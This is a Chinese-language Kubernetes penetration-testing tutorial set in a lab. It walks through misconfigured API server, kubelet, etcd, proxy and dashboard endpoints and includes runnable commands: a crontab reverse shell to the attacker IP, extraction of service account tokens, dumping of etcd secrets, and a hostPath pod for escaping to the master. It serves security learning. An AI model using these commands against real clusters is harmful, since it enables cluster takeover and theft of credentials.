Kubernetes云原生环境渗透学习指南
前言
Kubernetes(简称k8s)是当前主流的容器调度平台,被称为云原生时代的操作系统。随着云原生技术的普及,学习在k8s环境下的攻击手法变得尤为重要。
Kubernetes用户类型
Kubernetes集群中包含两类用户:
-
Service Account:由Kubernetes API管理的账户,绑定到特定的namespace,由API server自动或手动创建,凭证存储在Secret中并挂载到pod中。
-
User Account:由Kubernetes之外的服务管理的用户账号,如管理员分发的密钥、Keystone用户存储等,Kubernetes中不存在表示此类用户账号的对象。
Kubernetes访问控制过程
所有API请求都通过apiserver组件实现,主要功能包括:
-
认证(Authentication):检查用户是否为合法用户,支持方式:
- 客户端证书
- 密码
- bootstrap tokens
- JWT tokens
-
鉴权(Authorization):判断用户是否具有操作权限,主流机制:
- Node
- RBAC(Role-Based Access Control)
- ABAC
- webhook
-
准入控制(Admission Control):请求的最后步骤,用于拓展功能如检查pod资源配置、安全合规等。
Kubernetes认证方式
X509 Client Certs
Kubernetes默认开启且使用最多的认证方式,API server启动时指定CA证书及私钥,通过同一CA签发的客户端x509证书视为可信。
Service Account Tokens
Service account使用的认证方式,包含三个内容:
- namespace:指定pod所在的namespace
- token:用于身份验证
- ca:用于验证apiserver的证书
Kubernetes鉴权机制
Kubernetes支持四种授权机制:
- Node
- ABAC
- RBAC(默认启用)
- Webhook
实验环境搭建
建议使用3台CentOS 7节点:
- K8s-master: 192.168.11.152
- K8s-node1: 192.168.11.153
- K8s-node2: 192.168.11.160
- 攻击机Kali: 192.168.11.128
信息收集
在K8s集群内部网络探测时需重点关注以下端口:
- kube-apiserver: 6443, 8080
- kubectl proxy: 8080, 8081
- kubelet: 10250, 10255, 4149
- dashboard: 30000
- docker api: 2375
- etcd: 2379, 2380
- kube-controller-manager: 10252
- kube-proxy: 10256, 31442
- kube-scheduler: 10251
- weave: 6781, 6782, 6783
- kubeflow-dashboard: 8080
攻击手法
基本思路
寻找高权限凭据或组件配置不当导致的未授权访问,主要方式:
- 获取kubeconfig(证书)
- 获取service-account-tokens
攻击8080端口
原理:旧版本K8s的API Server默认开启8080端口(无需认证)和6443端口(TLS加密)。新版本默认不开启8080端口。
利用:
- 修改
/etc/kubernetes/manifests/api-kube.conf,添加:--insecure-port=8080 --insecure-bind-address=0.0.0.0 - 重启服务:
systemctl daemon-reload systemctl restart kubelet - 使用kubectl获取集群信息:
kubectl -s ip:port get nodes - 创建特权容器并挂载主机路径:
apiVersion: v1 kind: Pod metadata: name: test spec: containers: - image: nginx name: test-container volumeMounts: - mountPath: /mnt name: test-volume volumes: - name: test-volume hostPath: path: / - 执行命令写入反弹shell:
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.11.128/4444 0>&1\n" >> /mnt/etc/crontab
攻击6443端口
原理:当集群配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组时,6443端口允许匿名用户以管理员权限操作。
利用:
- 创建ClusterRoleBinding:
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous - 使用匿名账号登录:
./cdk kcurl anonymous get "https://192.168.11.152:6443/api/v1/nodes"
攻击10250端口
原理:Kubelet API监听10250(读写)和10255(只读)端口。默认配置下10250端口需要认证。
利用:
- 修改
/var/lib/kubelet/config.yaml:authentication: anonymous: enabled: true authorization: mode: AlwaysAllow - 重启kubelet:
systemctl restart kubelet - 检索特权容器获取Token:
curl -k -XPOST "https://192.168.11.160:10250/run/kube-system/kube-flannel-ds-dsltf/kube-flannel" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token" - 使用Token访问API-Server:
kubectl --insecure-skip-tls-verify=true --server="https://192.168.11.152:6443" --token="eyJhb....." get pods
攻击2379端口
原理:etcd组件默认监听2379端口,存放节点信息如token和证书。配置不当可能导致未授权访问。
利用:
- 使用etcdctl访问:
export ETCDCTL_API=3 etcdctl --endpoints=https://172.16.0.112:2379 get / --prefix --keys-only - 带证书访问:
etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://172.16.0.112:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health - 查找并读取service account token:
etcdctl get / --prefix --keys-only | grep /secrets/ etcdctl get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z
Kubectl Proxy攻击
原理:使用kubectl proxy命令使API server监听在本地端口。
利用:
- 设置API server接收所有主机请求:
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009 - 通过特定端口访问集群:
kubectl -s http://192.168.11.152:8009 get pods -n kube-system
Dashboard攻击
原理:Dashboard配置不当可能导致未授权访问。
利用:
- 添加参数启用跳过登录:
--enable-skip-login - 为Kubernetes-dashboard绑定cluster-admin:
apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: dashboard-1 subjects: - kind: ServiceAccount name: k8s-dashboard-kubernetes-dashboard namespace: kube-system roleRef: kind: ClusterRole name: cluster-admin apiGroup: rbac.authorization.k8s.io
横向移动技术
亲和性与反亲和性
-
节点亲和性(nodeAffinity):控制Pod部署在哪些节点上
- 查看节点label:
kubectl get nodes --show-labels - 给节点打label:
kubectl label nodes k8s-node01 com=justtest - 使用nodeSelector调度Pod:
spec: nodeSelector: com: justtest
- 查看节点label:
-
Pod亲和性(podAffinity):处理Pod与Pod之间的关系
污点与容忍度
- 标记节点污点:
kubectl taint nodes k8s-node01 test=k8s-node01:NoSchedule - 添加容忍声明:
tolerations: - key: "test" operator: "Equal" value: "k8s-node01" effect: "NoSchedule"
Master节点逃逸
- 查看Master节点容忍度
- 创建带有容忍参数并挂载宿主机根目录的Pod:
apiVersion: v1 kind: Pod metadata: name: myapp2 spec: containers: - image: nginx name: test-container volumeMounts: - mountPath: /mnt name: test-volume tolerations: - key: node-role.kubernetes.io/master operator: Exists effect: NoSchedule volumes: - name: test-volume hostPath: path: / - 通过挂载目录逃逸到宿主机
参考资源
- Kubernetes官方文档
- Kubernetes安全测试实践录
- k8s安全攻防系列文章
- 云上攻防研究文章
- 红蓝对抗中的云原生漏洞挖掘实录